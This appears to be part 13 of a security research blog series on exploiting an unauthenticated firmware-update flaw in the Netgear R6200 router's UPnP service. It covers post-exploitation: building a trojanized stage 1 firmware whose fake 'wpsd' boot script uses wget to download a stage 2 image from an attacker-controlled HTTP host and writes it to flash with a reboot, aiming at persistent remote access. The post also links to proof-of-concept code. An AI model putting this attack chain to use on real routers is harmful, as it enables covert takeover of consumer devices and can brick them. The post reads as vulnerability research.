In the first twelve parts of this series, we identified an unauthenticated firmware update feature in the Netgear R6200 wireless router. Unfortunately, this feature was broken and only partially implemented, making exploitation less that straightforward. We reverse engineered the timing requirements and structure of the SOAP request required to exploit this vulnerability. We also reverse engineered the firmware image format, including its undocumented firmware header.
As of the previous part, the exploitation phase is complete, which is to say we are able to have the Netgear UPnP daemon overwrite the firmware on flash storage with arbitrary data of our choosing. We are able to do this without authentication.
This and the next part will cover post exploitation. We’re able to write a firmware with whatever customization we desire. How should we trojanize the firmware image so that the exploit yields persistent remote access?
Updated Exploit Code
This week’s update to the proof-of-concept code is substantial. There is
a new part_13 directory that corresponds to this post. The SetFirmware
exploit and firmware generation code remains the same. However, there is
a new payload-src directory which contains code for generating a stage 1
(and later, stage 2) payload. The README in part_13 has been updated
with details on assembling the stage 1 firmware. Now is a good time to
do a git pull. If you don’t have the code, you can clone it from:
Before discussing post-exploitation firmware, it’s worth recapping how the exploit works. It goes roughly like this:
- Send HTTP headers for a SOAP request, including a magic
- Sleep one second
- Send remainder of the SOAP request with trojan firmware base64 encoded within
- Sleep 1-2 seconds
- The firmware must be stripped down to less than 4MB to avoid crashing upnpd
- If the firmware header passes minimal inspection and avoids crashing upnpd, it is written to flash, replacing the original firmware
- The target reboots into the new firmware
Unfortunately, due to the bug that crashes upnpd, the firmware image must be stripped down to a size such that it’s barely functional. In part 11 we stripped out everything except what is required for the device to successfully boot and have internet connectivity. This even included the web server. This has a couple of implications. First is this exploit requires a two-stage payload, since we can’t leave the device with a stripped down firmware. The first stage must download the second stage, a full-blown, trojanized firmware image, and flash it. The device must then reboot into stage 2.
The second implication is that there is nothing remaining in the stripped down firmware with which to parse and flash the second stage firmware image. We’ll need to come up with a mechanism to do the downloading and flashing of stage 2 and integrate it into the minimized stage 1 image. Of course, in order to stay under 4MB, this mechanism must be as small as possible.
How to Bootstrap Stage 2?
This can be broken down into two problems:
- How to kick off this process automatically at boot time?
- How to parse and flash the firmware image?
The first part is relatively easy. As I mentioned in part 11, the boot
sequence is brittle and not at all configurable. There’s a binary
executable that kicks off the various services in a particular order.
Some of those services kick off other services. There is no editable
script or configuration file that determines what should run and in what
sequence. It’s unclear what the impact will be if a service fails to
start. If you recall, to trick the system into thinking every service
had started successfully, we replaced each service with a shell script
of the same name that exits with a successful status. It is simple to
edit one of those dummy scripts to download and flash the stage 2 image.
I recommend choosing one of the last scripts in the boot sequence to
ensure networking has been configured. I chose the
script; it runs late in the boot sequence. Luckily, we still have
on the system (it’s one of busybox’s personalities), so downloading the
second stage is simple.
For the second problem, flashing the downloaded image, we’ll need to
provide a utility, since there’s nothing left that will do this for us.
Because it was late at night when I was working on this part, I didn’t
want to spend time writing my own utility to parse the ambit image, and
to do gymnastics involved writing the image. Fortunately, the OpenWRT
project provides an mtd-writing utility that handles all the semantics
of unlocking, erasing, and writing
/dev/mtd flash memory devices.
I had to patch the utility to remove functionality we don’t need,
thereby eliminating some library dependencies. Since OpenWRT is GPL
licensed, I didn’t want to include it in this project’s source code. The
README in part 13 of the PoC code describes how to clone my mtdwriter
project and put it in the right place so the stage 1 Makefile will find
and build it. For the curious, the customized mtd utility is located
You will, of course, need a uClibc little endian MIPS cross compiler to build it. I recommend using buildroot to build the cross compiler.
mtd doesn’t know anything about the ambit firmware image.
It’s only useful insofar as it can write arbitrary data to a
device. This actually works out for the best; bootstrapping the second
stage is a sensitive operation. If anything goes wrong, the target
device will be bricked. Moving as much complexity as possible off the
target and into the payload building stage is good.
Since we already have code that generates an ambit firmware image, the
easiest thing to do is to preprocess that file and turn it into a flat
image that can be laid down on the appropriate flash partition. The
mtd utility just writes an opaque blob with no knowledge of what it’s
Below is the “fake”
wpsd script that downloads the second stage and
flashes it using the
#!/bin/sh echo "Fake wpsd" S2MTD=stage2mtd.bin echo "Initializing update procedure for Stage 2 firmware." # download stage 2 wget http://10.12.34.56:8080/$S2MTD -O /tmp/$S2MTD || exit 1 # write stage 2 to /dev/mtd1. -r option reboots. mtd -r write /tmp/$S2MTD /dev/mtd1
When we roll those changes into the minimized stage 1 firmware, then exploit the UPnP server, the device should reboot, then download and flash the second stage firmware image. You’ll need to serve the stage 2 image over HTTP so wget can download it. We’ll cover that in part 14.
Also in the next and final part, we’ll discuss preprocessing an ambit image for easy writing to flash. We’ll also address what the second stage firmware should contain such that it yields persistent, remote access.